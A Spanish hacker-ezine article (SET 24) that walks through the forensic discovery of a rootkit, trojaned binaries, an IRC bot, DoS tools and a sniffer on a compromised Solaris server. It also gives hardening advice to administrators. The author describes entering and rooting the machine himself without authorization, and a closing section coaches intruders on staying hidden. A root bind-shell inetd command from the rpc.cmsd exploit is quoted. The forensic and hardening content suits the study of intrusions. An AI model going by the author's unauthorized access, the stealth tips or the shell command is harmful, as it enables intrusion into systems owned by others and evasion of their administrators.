Copy Link
Add to Bookmark
Report

SET 024 0x06

  

-[ 0x06 ]--------------------------------------------------------------------
-[ A traves del espejo ]-----------------------------------------------------
-[ by Paseante ]------------------------------------------------------SET-24-




La casa de los espejos
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

[ One thing was certain, that the WHITE kitten had had nothing to
do with it: -- it was the black kitten's fault entirely. For the
white kitten had been having its face washed by the old cat for
the last quarter of an hour (and bearing it pretty well,
considering); so you see that it COULDN'T have had any hand in
the mischief. ]



Por que lo hacen?. Esa es la pregunta que retumba en todas las 'punto.com'
cuando descubren que alguien se ha adue~ado de sus sistemas. Cuando se hace
de manera sutil, sin defacements, procurando pasar inadvertido, cuando no
hay miles de passwords a conseguir, ni informes secretos, ni datos economicos
Pero por que, oh!, por que se toman la molestia?. Por que corren el riesgo?
Y uno, cinico a base de permanecer en este mundillo, podria contestarles que
lo hacen por divertirse, que lo toman como un reto, que no son conscientes del
alcance de sus actos.
En realidad todo es mucho mas sencillo.

Por que lo hacen?
Lo hacen porque pueden hacerlo.



De eso va esta historia, de gente que entra, de gente que se esconde
y de gente que los sigue, gente que busca y gente que encuentra.
Si te cobrase por esto lo llamaria con algun nombre formado por las palabras
"computing intrusion analysis forensics detection overview" al azar.

Lamento dar la razon a los alarmistas de las empresas de seguridad, dispuestas
tantas veces a tim..informar a los clientes de todos los peligros que acechan
en la red. Aunque en muchas ocasiones sus clientes son vulnerables incluso
*despues* de pasar ellos por alli.

Lo cierto es que el movimiento "script gang kiddies" esta en pleno auge no
solo en el extranjero sino en Espa~a (y ole!) aunque aqui los medios sean
incapaces de hacer nada mas que reproducir las historias que llegan de USA
y por lo tanto de la falsa impresion de que aqui eso no ocurre.
No equivocarse, que no por carecer de un Pennenberg o un JayPee (con perdon)
nos libramos de los individuos que ellos retratan.

Pero aqui no solo tenemos kiddies "alone" que se dedican a entrar en los
servidores de series televisivas (alguna vez se preocuparon los admins.
de Al Salir del Cole de escribir a darkatak ??) sin que nadie le de relevancia
porque ya se sabe que aqui no pasa eso. Lo dice la 'defaced list' de Attrition
y su palabra es la Biblia. Tambien iluminan la Internet hispana grupos o
bandas organizadas que en nada tienen que envidiar a los ubicuos pakistanies
y que tienden a especializarse en determinados S.O tomando como rehenes
a decenas y en ocasiones centenares de maquinas.

Si uno quiere pulsar el ambiente 'kiddie' el lugar es el mismo que en el
extranjero. El IRC. Centro de su existencia y lugar donde reinan
omnipotentes en sus canales, para admiracion de colegas y con el amparo de
sus bots.

Analizaremos en este articulo el "modus operandi" de una activa banda de
"peta-SUNs", la que podriamos denominar como "la cuadrilla de los Balcanes"
que alegra con su presencia varios canales del Hispano y causaria pesadillas
a mas de un admin si supiera hasta donde le han taladrado el sistema.

No juzgamos. Ilustramos. No son los unicos. Hay mas. Y los nombres de sus
victimas podrian causar conmocion al que no supiera ya que la mayor parte
de redes muy conocidas de este pais han sido comprometidas en ocasiones
varias veces por gente distinta.

Y si no se lo creen llamen a su medio de comunicacion/proveedor de correo via
web preferido y pidanles que revisen sus logs de acceso.

It's the wild wild web out there.




Tweedledum y Tweedledee
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


[ Tweedledum and Tweedledee
Agreed to have a battle;
For Tweedledum said Tweedledee
Had spoiled his nice new rattle. ]


Poner un firewall mal configurado sirve de bien poco excepto para producir
una falsa impresion de seguridad, rellenar los bolsillos de la empresa que
lo instala y los de la empresa que lo vende.
Y como reza el dicho: "Donde cabe uno, caben dos".

Asi que si un dia alguien te llama la atencion sobre una inusitada cantidad
de bots que se conectan desde lugares de lo mas dispar, siempre grandes
empresas, siempre SUNS, puedes pensar o en una conspiracions de admins para
dominar el mundo (horror!) o en que los sujetos que los utilizan se estan
divirtiendo mas de lo que les toca.
Y ya se sabe. No es problema mio. Precisamente por eso me interesa.
Cogemos la "ruta del paquete" de vuelta a casa, entrar y hacerse root por
lo que pueda pasar deben ser uno. Nos unimos a la fiesta.

Para empezar conviene no fiarse de las herramientas del sistema y
aprovechando que SUN ha tenido la mania de no incluir el shell Bash en sus
SO hasta la release 8 podemos instalarlo al tiempo que bajamos la siempre
util lsof


.........................Advertencia........................
Prompts y outputs pueden haber sido modificados para proteger
tanto a inocentes como culpables. Ademas tambien para cumplir con
la exigencia de 80 columnas en los listados demasiado largos.
Comentarios en lineas que empiezan por $$
.........................Advertencia........................



pas@primus ~# whodo
Wed xxx 2? 12:09:11 WET 2000
ciberfw

console root 10:25
? 19093 0:00 Xsession
pts/2 19138 0:00 sdt_shell
pts/2 19152 0:01 dtsession
? 13346 0:00 dtscreen
? 19158 0:05 dtwm
? 20985 0:00 dtterm
pts/10 20987 0:00 sh
pts/2 2519 235:36 jre
? 20953 0:00 dtterm
? 205 0:00 dtterm
? 20974 0:00 dtterm
? 20935 0:00 dtterm
pts/3 20937 0:00 sh
pts/2 19151 0:00 ttsession
? 19103 0:00 fbconsole
? 19140 0:00 dsdm


pas@primus ~# lsof -i TCP@primus

COMMAND PID USER FD TYPE DEVICE INODE NAME
artke 14595 root 36u inet 0x602ed178 TCP primus:19000->192.9.5.2xx:33560
artke 14595 root 41u inet 0x60aa4498 TCP primus:34180->egghelp.org:80
artke 14595 root 42u inet 0x60d77358 TCP primus:19000->194.91.*.200:6??
artke 14595 root 43u inet 0x60aa54c8 TCP primus:39940->egghelp.org:80
artke 14595 root 44u inet 0x60d76cc8 TCP primus:19000->194.91.77.201:*
artke 14595 root 47u inet 0x609b36c0 TCP primus:45910->egghelp.org:80
artke 14595 root 50u inet 0x60d773c8 TCP primus:19000->this*.eng.*.uk:*

$$ No quiero ser negativo pero un proceso que abre comunicaciones con Inet,
que no sale haciendo un ps -ef y cuyos sockets tampoco refleja netstat me
da mala espina.
Mas si se conecta a egghelp.org cuyo nombre sospechosamente suena a
Eggdrop que por lo poco que se es un conocido bot de IRC.
Como no creo que el admin se tome la molestia de ocultarse cosas a si
mismo (se dedicara a tradear warez) esto me huele a cracker encerrado.
Puede ser divertido.




pas@primus ~# lsof -c artke


COMMAND PID USER FD TYPE DEVICE INODE NAME
artke 4367 root cwd VDIR52,6 4608 /usr/share/man/man12
artke 4367 root txt VREG52,6 1104604 /usr/share/man/man12/artke
artke 4367 root txt VREG52,6 665264 /usr/lib/libc.so.1
artke 4367 root txt VREG52,6 17480 /usr/platform/sun4u/lib/libc_psr*
artke 4367 root txt VREG52,6 39888 /usr/lib/libw.so.1
artke 4367 root txt VREG52,6 15720 /usr/lib/libmp.so.1
artke 4367 root txt VREG52,6 574912 /usr/lib/libnsl.so.1
artke 4367 root txt VREG52,6 15720 /usr/lib/libintl.so.1
artke 4367 root txt VREG52,6 68780 /usr/lib/libsocket.so.1
artke 4367 root txt VREG52,6 110820 /usr/lib/libm.so.1
...................................................
...................................................

$$ Deja de ser emocionante cuando uno sabe de antemano el resultado.
Aparte de descubrir que hay 12 secciones de man, yo me quede en la 9, temo
que se van a confirmar mis intuiciones que en estos momentos son que
mi sospechoso ha tenido la osadia de hacer lo siguiente

1- Ataque con obtencion de root
2- Instalacion de rootkit
3- Borrado de logs
4- Instalacion de backdoors y procesos no autorizados

$$ Me contradecira un listado de /usr/share/man12?

pas@primus ~# ls -l /usr/share/man/man12
total 788
-rwx------ 1 root bin 477 Sep 30 14:05 cront
drwx------ 4 1108 345 512 Apr 19 2000 doc
drwx------ 5 1108 345 512 Mar 16 2000 help
drwx------ 3 1108 345 512 Apr 15 2000 language
drwx------ 2 1108 345 512 Apr 22 2000 logs
-rwx------ 1 root bin 394194 Sep 30 14:05 mhub??
-rw------- 1 root other 176278 Oct 7 08:00 mhub??.c
-rw------- 1 root bin 175948 Oct 7 00:00 mhub??.c~bak
-rw------- 1 root other 4928 Oct 7 08:00 mhub??.f
-rwx------ 1 root bin 1402 Sep 30 14:05 mhub??.h
drwx------ 3 1108 345 512 Mar 16 2000 misc
-rw-r--r-- 1 root other 5 Oct 5 16:00 pid.mhub??
drwx------ 2 1108 345 512 Apr 22 2000 scripts
drwx------ 2 1108 345 512 Apr 19 2000 text

$$ Un directorio man concurrido, extra~o ya de por si en un servidor que
no tiene instalado el paquete SUNWman, mas extra~o aun si todo lo que
encontramos parece cualquier cosa menos paginas man. Pero como en la
historia de Sherlock Holmes lo mas extra~o no es lo que pasa sino lo que
NO pasa. No aparece por ningun lado el archivo artke. Espejismo de lsof o
ls troyaneado?. Apuesten por lo ultimo. Y vamos por el punto 2.


pas@primus ~# ls -l /usr/share/man/man12/artke
-rwx------ 1 1108 345 1104604 Apr 22 2000 /usr/share/man/man12/artke

$$ Ya no puede confiar uno en un honrado 'ls', troyanos malvados. Ahora a
seguir las miguitas de pan y recogerlas porque de verdad, de verdad que
quien crea un directorio "man12" fijo que deja backdoors detras. Y ante
la pasividad del afectado que me impide unirme a la partida?. Sera mas
divertido jugar al juego con los crackers que con el insulso que lleva la
maquina. Por cierto, con flamante software de seguridad SunScreen EFS como
firewall abanderado de la incompetencia de SUN.


$$ Al trabajo con una mezcla de "ls -al" y "echo *" para dentro de los
rudimentarios metodos de que dispongo seguir en la partida.

$$ Veamos que nos depara el directorio /usr/share/man/man12

Extracto del listado:

-rw------- 1 root bin 94264 Oct 31 20:50 .share.Amuru.972929052
-rw------- 1 root bin 94264 Oct 31 20:50 .share.FATA.972929051
-rw------- 1 root bin 96086 Oct 15 18:08 .share.FATA.975315320
-rw------- 1 root bin 96086 Oct 15 18:10 .share.FATA.975315403
-rw------- 1 root other 105734 Oct 22 07:00 .share.FATA.974080013
-rw------- 1 root other 105734 Oct 22 07:10 .share.FATA.974080626
-rw------- 1 root other 107394 Oct 27 15:01 .share.ILoveAlma.975340869
-rw------- 1 root bin 96086 Oct 15 18:05 .share.kendoo.974315113
-rw------- 1 root other 105734 Oct 22 06:53 .share.kendoo.974879621
-rw------- 1 root other 105734 Oct 22 07:11 .share.kendoo.974080683
-rw------- 1 root other 107394 Oct 27 15:26 .share.kendoo.975342399
-rw------- 1 root bin 94524 Oct 3 12:58 .share.klaus43.973259929
.................................................
.................................................

$$ A bote pronto de este directorio sacamos lo siguiente:

artke --> Es una compilacion del popular bot de IRC "Eggdrop"
mhub?? --> Un script para Eggdrop
mhub??.c --> Es el fichero de configuracion de usuario para el bot
Mhub.h --> Script que comprueba si el bot se ejecuta y si no lo lanza.
Pid.mhub?? --> El fichero que contiene el "process id" del bot.
Cront --> Fichero "cron" del root con la tarea "mhub.h" cada 10 minutos.
.share.* --> Archivos con info de usuarios compartida por una red de bots.

$$ A mayor escarnio del root de esta maquina aun estan los directorios donde
el cracker bajo el fuente del Eggdrop, claro que despues de demostrar ser
incapaz de ejecutar un "crontab -l" en 10 meses que se puede esperar?


$$ Nunca habia tenido la ocasion de hacer lo siguiente (recomendado en todos
los articulos de seguridad) pero voy a aprovechar la oportunidad.

pas@primus ~# find / -perm -4000
/usr/openwin/lib/mkcookie
/usr/bin/chkey
/usr/bin/crontab
/usr/bin/login
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/ps
/usr/bin/rcp
/usr/bin/rlogin
/usr/bin/rsh
/usr/bin/su
/usr/bin/tip
/usr/bin/uptime
/usr/bin/w
/usr/bin/yppasswd
/usr/bin/volcheck
/usr/bin/nispasswd
/usr/lib/exrecover
/usr/lib/pt_chmod
/usr/lib/sendmail
/usr/lib/utmp_update
/usr/sbin/allocate
/usr/sbin/mkdevalloc
/usr/sbin/mkdevmaps
/usr/sbin/ping
/usr/sbin/sacadm
/usr/sbin/whodo
/usr/sbin/deallocate
/usr/sbin/list_devices
/usr/sbin/m64config
/usr/proc/bin/ptree
/usr/proc/bin/pwait
/usr/ucb/ps
/usr/local/bin/traceroute
/var/spool/lp/buffer/loginMY
/etc/lp/alerts/printer
/var/spool/.../store/ps
/sbin/su
/sbin/login

$$ Cuantos posibles agujeros....como soy hombre simple ire a lo facil, a ese
llamativo directorio "/var/spool/.../store", a ver que hay por alli


$$ /var/spool/... no aparece cuando intentamos listarlo.


pas@primus /var/spool# ls -al
total 8
drwxrwxr-x 9 root bin 512 Oct 29 14:37 .
drwxrwxr-x 22 root sys 512 Apr 13 1999 ..
drwxrwsrwt 2 daemon daemon 512 Oct 29 12:46 calendar
drwxr-xr-x 4 root sys 512 Apr 6 1999 cron
drwxr-xr-x 2 uucp uucp 512 Apr 6 1999 locks
drwxrwxr-x 8 lp lp 512 Nov 21 10:25 lp
drwxr-xr-x 2 root bin 512 May 28 1999 mqueue
drwxrwxrwx 2 bin bin 512 Nov 27 12:11 pkg


$$ Pero pronto veremos que si existe mediante un acto de fe

pas@primus /var/spool# cd ...
pas@primus /var/spool/...# pwd
/var/spool/...
pas@primus /var/spool/...# ls -al
total 3
drwxrwxr-x 3 root root 512 Oct 29 14:37 .
drwxrwxr-x 9 root bin 512 Oct 29 14:37 ..
drwxrwxr-x 2 root root 512 Oct 29 14:37 store


$$ Y dentro del almacen hay esta mercancia

pas@primus /var/spool/...# ls -al store
total 105
drwxrwxr-x 2 root root 512 Oct 29 14:37 .
drwxrwxr-x 3 root root 512 Oct 29 14:37 ..
-r-xr-xr-x 1 root root 9684 Oct 29 14:37 in.rlogind
-r-xr-xr-x 1 root root 9980 Oct 29 14:37 in.rshd
-r-xr-xr-x 1 root root 22384 Oct 29 14:37 in.telnetd
-r--r--r-- 1 root root 4677 Oct 29 14:37 inetd.conf
-rw-rw-r-- 1 root root 416 Oct 29 14:37 info
-r-xr-sr-x 1 root root 31568 Oct 29 14:37 netstat
-r-sr-xr-x 1 root root 23964 Oct 29 14:37 ps

$$ Por una primera inspeccion parece que estos son los comandos de verdad de
la buena, el archivo info contiene sus datos (fecha, modo y tama~o)
Supuestamente la idea es que si la liebre se levanta se pegan un par de
"mv" y todos tan contentos. El archivo de inetd.conf por descontado con
todo abierto. De que preocuparse?. Tenemos un firewall. Y es de SUN.
Asi que no puede entrar nadie. Pero solo porque ya esta puesto el cartel
de "Completo" }:->.


$$ Por supuesto han troyaneado los servidores de acceso mas comunes, me
pica la curiosidad por saber si realmente siguen un metodo 'industrial'
o lo hacen de manera artesanal. Por mis averiguaciones parece que no
se han percatado ni de la presencia del soft de firewall SunScreen EFS
- instalado en /opt/SUNWicg - ni de un par de comandos mas que podrian
delatarlos y que no han troyaneado. Esto indicaria que no se andan con
miramientos y tienen un procedimiento comun que utilizan con todas sus
victimas, como mas tarde comprobare fehacientemente tras seguir sus
pasos por otras maquinas SUN.


pas@primus~# strings /usr/sbin/in.telnetd
/bin/sh
/var/tmp/.baaa002JV
open exec file
execute program
/usr/lib/ld.so.1
_start
getpeername
_environ
_end
mark1
mark2
__register_frame_info
_GLOBAL_OFFSET_TABLE_
atexit
exit
_init
fclose
_DYNAMIC
execl
_exit
environ
perror
comments
__deregister_frame_info
original_code
_edata
_PROCEDURE_LINKAGE_TABLE_
fopen
execve
_etext
_lib_version
main
chmod
stat
envoye_don_le_trojan
.....................
.....................

$$ No hay duda de que estamos ante un troyano que se anuncia como tal, el
resto de servidores muestran cadenas similares.


pas@primus /var/tmp# ls -al
total 1630
drwxrwxrwt 2 sys sys 1024 May 7 12:43 .
drwxrwxr-x 22 root sys 512 Apr 13 1999 ..
-rwx------ 1 root root 29844 May 31 15:30 .baaa002JV strings telnetd
-rwx------ 1 root root 17132 Jun 28 12:55 .baaa002Jk strings rlogind
-rwx------ 1 root root 17296 Jun 28 12:55 .baaa002Jz strings rshd
-rwx------ 1 root root 22384 May 31 15:30 .baaa006Ac telnetd (copia)
-rwx------ 1 root root 9836 Jun 28 12:55 .baaa006Ao rshd (copia)
-rwx------ 1 root root 9672 Jun 28 12:55 .baaa006B0 rlogind (copia)
-rw-r--r-- 1 root other 31427 Apr 7 1999 SunSoft_CDE1.0.1_pkgadd.*
-rw------- 1 root root 280 May 3 1999 wsconAAAa0004e:0.0
-rw------- 1 root root 0 Aug 21 09:10 wsconAAAa0004o:0.0
-rw------- 1 root root 80 Sep 7 15:35 wsconAAAa0004q:0.0
-rw------- 1 root other 9379 Apr 17 2000 wsconAAAa00058:0.0
-rw------- 1 root other 70 Apr 8 1999 wsconAAAa0005A:0.0
-rw------- 1 root other 6270 Sep 6 15:42 wsconAAAa0005C:0.0
.................................................
.................................................

$$ Aparte de proveerse de un metodo de facil acceso mi amigo (o los amigos
de mi amigo) parecian estar interesados por las passwords de los demas.
No solo pirateando los servidores de acceso sino instalando un sniffer
(convenientemente oculto) caza-claves de ftp-telnet-pop3. Cutre pero
doloroso.


$$ Tengo un ls vestido de azul con su troyanito y su ps ful.

pas@primus ~# strings /bin/ps | more
Node: %s
args
comm
COMMAND
fname
WCHAN
wchan
ADDR
addr
TIME
time
ELAPSED
etime
STIME
stime
class
nice
PGID
pgid
PPID
ppid
RGID
rgid
RUID
ruid
RGROUP
rgroup
GROUP
group
RUSER
ruser
USER
user
/proc
/dev/ptyq
SYS_TEST
jlfceAadt:p:g:u:U:G:n:s:o:
ps: warning: -n option ignored
ps: no memory
ps: %s is an invalid non-numeric argument for -p option
ps: %s is an invalid non-numeric argument for -s option
ps: %s is an invalid non-numeric argument for -g option
%s/%ld
ps: no controlling terminal
ps: can't find controlling terminal
.............................

$$ Por tres cuartos de nada, que te llama la atencion?. Si te sirve de algo
te dire que estoy buscando pistas sobre como 'ps' "sabe" que procesos debe
ocultar y cuales puede mostrar tranquilamente. Seguro que el averiguarlo
me ayudara a encontrar la iluminacion y la paz interior.

$$ Para que quede clarito.

pas@primus ~# file /dev/pty* | more
/dev/ptypb: character special (25/11)
/dev/ptypc: character special (25/12)
/dev/ptypd: character special (25/13)
/dev/ptype: character special (25/14)
/dev/ptypf: character special (25/15)
/dev/ptyq: ascii text
/dev/ptyq0: character special (25/16)
/dev/ptyq1: character special (25/17)
/dev/ptyq2: character special (25/18)
.......................
.......................

$$ Ohh!. Creo que vi un lindo gatito.


pas@primus ~# cat /dev/ptyq
rshd
sm.sh
sm
rcp
in.bind
lpNet
login
hub
cl
dpipe
bncsol
nmap
lpdx
lpdi
lpda
ssh
sshd
artke
ident
psybnc
nc
rape
in.lpda

$$ Con ustedes una lista de procesos que 'ps' no debe mostrar, los cuales nos
abren nuevas y provechosas vias de investigacion y reconstruccion.
Tengo que reconocer que me siento atraido por SSH, indica una deliberada
instalacion de un metodo seguro de conexion lo que no deja de ser un toque
de cierta elegancia.


pas@primus ~# find / -name 'ssh*'
/dev/ssh
/dev/ssh/ssh_config
/dev/ssh/ssh_host_key
/dev/ssh/ssh_host_key.pub
/dev/ssh/ssh_random_seed
/dev/ssh/sshd
/dev/ssh/sshd_config
/dev/ssh/ssh.sh
/dev/ssh/ssh

$$ Esta dicho todo. SSH esta escuchando en el puerto 190xx con la esperanza
de encontrarse "bajo el radar" de cualquier tipo de monitorizacion.


$$ Y si con 'ps' hemos cantado linea sigamos para bingo.

pas@primus /usr/man/man12# strings /bin/ls | less
01;32
01;33
01;35
01;36
01;34
8bit
7bit
color
version
help
time
extension
none
status
ctime
access
atime
if-tty
auto
never
force
always
fileutils
/usr/local/lib/locale
%s - %s
vdir
GNU fileutils-3.13
/usr/include/fs.h
//DIRED//
//SUBDIRED//
POSIXLY_CORRECT
COLUMNS
ignoring invalid width in environment variable COLUMNS: %s
TABSIZE
ignoring invalid tab size in environment variable TABSIZE: %s
abcdfgiklmnopqrstuw:xABCDFGI:LNQRST:UX178
invalid line width: %s
invalid tab size: %s
sort type

$$ Si ya lo decia mi abuelo. Vista una pelicula de indios, vistas todas.


pas@primus ~# ls -l /usr/include/*
-rwxr-xr-x 1 bin bin 760 Jan 18 1996 /usr/include/demangle.h
-rw-rw-r-- 1 bin bin 429 Mar 8 1997 /usr/include/fs.h



$$ Con "fs.h" y lo que ya hemos recogido llegamos a este directorio.

pas@primus /var/spool/lp/buffer# ls -al
total 252
drwxrwxrwx 3 root bin 1024 Oct 30 13:54 .
drwxrwxr-x 8 lp lp 512 Oct 6 21 10:25 ..
-rwxrw-rw- 1 root bin 53 Apr 25 2000 acc
-rw-rw-rw- 1 root bin 15032 Jun 17 22:10 bc
-rwxrw-r-- 1 root bin 507 Jun 24 09:10 bnc.chk
-rw-rw-rw- 1 root bin 29 Jun 17 22:24 bncsol.conf
-rw-rw-rw- 1 root bin 36 Nov 30 1999 cf
-rwxrwxrwx 1 root root 44224 May 30 2000 cl
-rwxrw-rw- 1 root bin 382 Jul 26 09:25 dos
-rwxr--r-- 1 root bin 11732 Jul 19 07:40 dpipe
-rwxr-xr-x 1 root bin 11668 Jul 25 11:55 fix
drwxr-xr-x 2 root root 2048 Oct 5 1999 help
-rwxr--r-- 1 root bin 10672 Jul 19 07:45 ident
-rw-rw-r-- 1 root root 416 Oct 29 14:37 info
-rwxr-xr-x 1 root bin 7328 Feb 28 2000 logM0
-r-sr-xr-x 1 root bin 47420 Apr 25 2000 loginMY
-rwxr-xr-x 1 root bin 28288 Jul 19 07:41 nc
-rw-rw-r-- 1 root root 4 May 29 14:37 pid.bncsol
-rwxr-xr-x 1 root bin 31892 Jul 21 07:41 rape
-rwxrw-rw- 1 root bin 108 Apr 25 2000 rem
-rwxrw-rw- 1 root bin 15464 Jul 19 07:39 sm
-rwxrw-r-- 1 root bin 95 Jun 17 22:26 sm.sh
-rwxrw-r-- 1 root bin 95 Jun 17 22:52 sm2.sh
-rwxrw-r-- 1 root bin 95 Jun 17 22:51 sm3.sh
-rwxrw-rw- 1 root bin 194 Jul 26 08:37 syschecker
-rwxr-xr-x 1 lp lp 11028 Jul 19 07:42 zx


$$ Otro deposito, despues de mirar un poquito parece que lo mas cantoso
es lo siguiente.

Bc --> Bouncer para IRC
Bncsol.conf --> Fichero de configuracion del Bouncer
Ident --> Servidor ident falso
LoginMY --> Troyano de login
Nc --> NetCat, herramienta de red
Rape --> Programa de ataque y Denegacion de Servicio (DoS)
Sm --> Programa de ataque y DoS "Smurf"
Sm?.sh --> Varios scripts para lanzar un ataque "smurf"
Rem --> Shell script para sustituir el binario de login
Zx --> Programa para borrar logs


$$ A estas alturas y como hemos visto tirando un poco de cada lado hemos
encontrado ya toda la "carga" dejada por los intrusos. Nos tomamos la
molestia de parchear un par de programas de DoS para que fallen
"misteriosamente" en la creencia de que la Denegacion de Servicio es una
cosa muy fea.


$$ En aras a completar el cuadro me queda averiguar la metodologia empleada
para el ataque. Me fio tanto de los logs que pueda haber de hace 8, 10 o
12 meses como de los comandos del sistema. Pero ademas no hay logs asi que
mejor. De todas maneras en una maquina SUN no hace falta ser muy espabilado
para saber por donde hay que empezar a mirar.

pas@primus /var/spool/calendar# ls -l
total 17
-r--rw---- 1 root daemon 702 Apr 17 1999 callog.root
-r--rw---- 1 root daemon 4033 Apr 19 12:46 callog.root.DBA
-r--rw---- 1 root daemon 4033 Apr 19 12:46 callog.root.IPL
-r--rw---- 1 root daemon 4033 Apr 19 12:46 callog.root.KEG
-r--rw---- 1 root daemon 4061 Apr 19 12:46 callog.root.PFQ
.................................................
.................................................

$$ Si ya lo decia mi abuelo. Vista una pelicula de indios, vistas todas.


pas@primus /var/spool/calendar# head callog.root.DBA
.................................................
.................................................
Ð/bin/ksh0000-ccc0000echo "ingreslock stream tcp nowait root /bin/sh sh -i"
>>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob " duration: 10 period: biweekly nth:
421 ntimes: 10 author: "root@arthurdent" tags: ((appointment , 1)) apptstat:
active privacy: public )


Para beneficio de los menos duchos en la configuracion de inetd, el ataque
contra el servicio de calendario (rpc.cmsd) lanza inetd con el fichero de
configuracion /tmp/bob que otorga una shell de root al conectar al puerto
de ingreslock. Una vez conseguido el acceso se descarga via ftp un rootkit,
se borran/alteran los logs, se colocan las backdoors adicionales que se
precisen y ya estamos listos para instalar Eggdrops, programas de DoS,
sniffers, netcats y demas ralea.

Sin animo de critica debo advertir a los miembros de la "cuadrilla de los
Balcanes" que hay procedimientos en sus actuaciones manifiestamente
mejorables. Asi aunque se preocupen de mantener las fechas en los comandos
pirateados y eliminar los programas temporales creados durante la instalacion
se aprecia descuido en lo que respecta al tama~o de los binarios que no
concuerdan con los originales ni de lejos, el comportamiento de algunos
troyanos no emula con fidelidad al comando original y peor aun nos olvidamos
de borrar el rastro del ataque originario.
Es tambien mejorable el enmascaramiento de los 'depositos' con demasiados
programas a la vista incluso con el 'ls' troyano, la manera cantosa de
asegurarse la ejecucion del bot mediante una tarea en el cron del root y
descuidado el mantener el flag de suid en los binarios originales reemplazados
que permite descubrir su escondite mediante la tipica busqueda de ficheros.
Para restaurar dichos comandos deberia bastar los datos guardados en el
archivo "info" y mientras ocultarlos de la mejor manera posible.
Puntos a favor por contra son la instalacion de SSH y la encriptacion con
Blowfish de la mayor parte de ficheros del bot.

En cuanto al administrador, con animo de critica. Torpe mas que torpe.
Que eres un torpe.



El leon y el unicornio
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


[ The Lion and the Unicorn were fighting for the crown:
The Lion beat the Unicorn all round the town.
Some gave them white bread, some gave them brown;
Some gave them plum-cake and drummed them out of town. ]



Para whiteboinas, sinboinas y yopasabaporaquiboinas.
====================================================

Firewall != Seguridad y me echo a dormir.

Si no tienes muy claro si tu sistema esta comprometido empieza por asumir
que lo esta asi que:

- No te fies del output de tus comandos
- No te fies de lo que dicen tus logs
- No confies en Tripwires o similares
- No asumas que por tener los servicios comentados no se esta ejecutando nada

Lo suyo es tener en CD/Diskette unas cuantas herramientas basicas (podrian ser
los binarios originales que ayudarian a chequear tama~o/fecha con los que
tengas como comprobacion rapida) que incluya no "chofisticadas security tools"
sino cosas tan simples como:
lsof - top - strace (o el truss original de SUN) - find - strings

Con esto como acabas de comprobar tienes *de sobra* para determinar si tu
sistema esta comprometido o al menos para convencerte de que hace falta una
investigacion mas seria.

Si crees que te han entrado tu actuacion tipica sera volverte loco, querer
formatearlo todo rapido o si no puedes, hacerte el sueco a ver si se arregla
ello solo. Mal. Tranquilizate, leete este articulo, aprende y pide ayuda
si es necesario. Cuando reinstales _NI SE TE OCURRA_ volver a conectar la
maquina a la red sin haberla asegurado al maximo, instalado todos los
parches, parado todos los servicios posibles, ajustado los permisos y
eliminado todos los suids que nunca usas y solo estan para darte problemas.
Si ademas sabes por donde te dieron la ultima vez no seas burro y que no te
la peguen dos veces por el mismo sitio.
Vete a /etc/rc2.d y para cosas, haz "man ndd" que seguro que aprendes algo,
releete el articulo de Dark Raver en SET 23 no se....espabila que para eso
te pagan. Te pagan, verdad??
Sabias que Solaris tiene listas de control de acceso?. Que tienes tanto
herramientas de SUN como scripts de terceras partes para asegurar una
instalacion de Solaris?. Muevete un poquito.

Y consuelate, no hay tanta gente que se dedique a entrar en ordenadores
ajenos pero por Dios.....que dedicacion!!!.


Para blackboinas, nosesabeboinas y quieroserboinas
==================================================

Hay que mejorar los metodos. Se da por hecha la incompetencia total y
vergonzosa del contrario pero no descuidemos por ello las formas.
Fatal lo de crear cuentas de usuario en /etc/passwd. Feo y cantoso.
No muy acertado en confiar en servicios lanzados por inetd y comentables
en cualquier ataque de panico del becerroot.
Innecesario alarde el llenar directorios y directorios con programas, fuentes
de programas, originales sustituidos...No abusar que siempre es perjudicial.
Discutible el riesgo que supone instalar sniffers caza-passwords r* cuando en
muchos entornos solo hay windowseros viendo porno. No arrienda la ganancia.
Confiemos en conexiones encriptadas, seamos sutiles y no caigamos en la
tentacion "kiddie newcomer" de poner 31336 backdoors que nos den root. Canta.
No te dediques a entrar cada dia a ver si te han detectado o si ha caido la
password de administrador de la Casa Blanca.
Recuerda, solo necesitas una forma de entrar y solo como el usuario mas
pelon del SUNiverso. Despues la barbaridad de bugs locales de Solaris hara
el resto. Confia en ellos.


Mi propia invencion
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


[ 'You will observe the Rules of Battle, of course?' the White
Knight remarked, putting on his helmet too.

'I always do,' said the Red Knight, and they began banging away
at each other with such fury that Alice got behind a tree to be
out of the way of the blows. ]



Repasemos la situacion.

Una Sparc, un grupo de 'alegres camaradas' utilizandola como plataforma
de bot ircero, posible punto de ataque DoS y plataforma recoge-passwords
Un semi-anormal como yo perdiendo el tiempo donde menos tendria que estar
y un root que ni pincha ni corta ni hace login ni nada de nada. Se ahoga.

El sentido comun indica que me vaya ya y deje de hacer el garrulo.
A la mierda el sentido comun, como se ponga tonto le arreo.

Y me lio la manta a la cabeza, no tengo sniffer propio pero siempre puedo
usar el 'snoop' de Solaris y no estoy interesado en ftp/telnet/yoquese sino
en el bot y sus conexiones. Snoopy discreto y como uno nacio cansado se lleva
el log lejos, lejos....a una maquina Linux donde tiene Ethereal y puede
darle al titulito "Follow TCP Stream" y crackear al cracker.

Y los Reyes se adelantaron este a~o, ya tengo mi HoneyNet particular.
Ahora con actualizaciones en tiempo real porque las direcciones IP no
entienden de fronteras linguisticas.

Y si aprendes idiomas tu tambien puedes ser feliz siempres que ames Alma.
En el Hispano, en el chat de Albania, donde si no?. Che Saran, saran.


Y recordad, hagais lo que hagais.
Tened cuidado ahi fuera.

Paseante <paseante@attrition.org>


*EOF*

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT